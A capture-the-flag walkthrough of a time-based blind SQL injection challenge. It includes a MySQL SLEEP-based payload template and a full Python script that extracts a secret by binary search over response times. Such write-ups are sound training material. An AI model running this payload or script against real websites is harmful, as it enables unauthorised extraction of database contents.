Gondex (Time-based)
Gondex (Time-based)
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: binary_search_extraction, time_based_blind_sqli
Summary
Walkthrough of the CUSTOM Web Gondex (Time-based). Time-based blind SQL injection task at http://kslweb1.spb.ctf.su/sqli/time1/
Description
Time-based blind SQL injection task at http://kslweb1.spb.ctf.su/sqli/time1/
"Check out brand new search engine!" — a search system that doesn't display query results and doesn't show errors.
Analysis
Classic case of blind SQL injection:
- Search form accepts user input
- Query results are not displayed on the page
- SQL errors are not shown to the user
- The only information leakage channel is server response time
Technique: use MySQL's SLEEP() function to create a time delay when a condition is true.
Solution
Attack Principle
- Construct SQL injection with condition
IF(condition, SLEEP(N), 0) - If condition is true — server "sleeps" for N seconds
- Measure response time — if there's a delay, the condition is true
- Use binary search for efficient character extraction
Payload Structure
sql read-only • copy allowed' AND IF(ASCII(SUBSTRING((SELECT flag FROM secret_table),{position},1))>{mid}, SLEEP(2), 0) --
Extraction Algorithm (Binary Search)
python read-only • copy allowed#!/usr/bin/env python3 import requests import time URL = "http://kslweb1.spb.ctf.su/sqli/time1/" DELAY = 2 # delay in seconds when condition is true def check_condition(payload): """Check condition via time-based SQLi""" start = time.time() requests.get(URL, params={"search": payload}) elapsed = time.time() - start return elapsed >= DELAY def extract_char(position, table="secret_table", column="flag"): """Extract one character using binary search""" low, high = 32, 126 # printable ASCII while low < high: mid = (low + high) // 2 payload = f"' AND IF(ASCII(SUBSTRING((SELECT {column} FROM {table}),{position},1))>{mid}, SLEEP({DELAY}), 0) -- " if check_condition(payload): low = mid + 1 else: high = mid return chr(low) if low > 32 else None def extract_flag(): """Extract the entire flag""" flag = "" position = 1 while True: char = extract_char(position) if char is None or char == '\x00': break flag += char print(f"[{position}] {flag}") position += 1 # Check for end of flag if flag.endswith("}"): break return flag if __name__ == "__main__": print("[*] Starting time-based blind SQLi extraction...") flag = extract_flag() print(f"\n[+] Flag: {flag}")
Optimizations
- Binary search: O(log n) requests per character instead of O(n) with linear search
- Parallel requests: can extract multiple positions simultaneously
- Adaptive delay: increase delay on unstable networks
Key Takeaways / Lessons
- Mastering binary_search_extraction, time_based_blind_sqli was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Gondex (Time-based) • Difficulty: Medium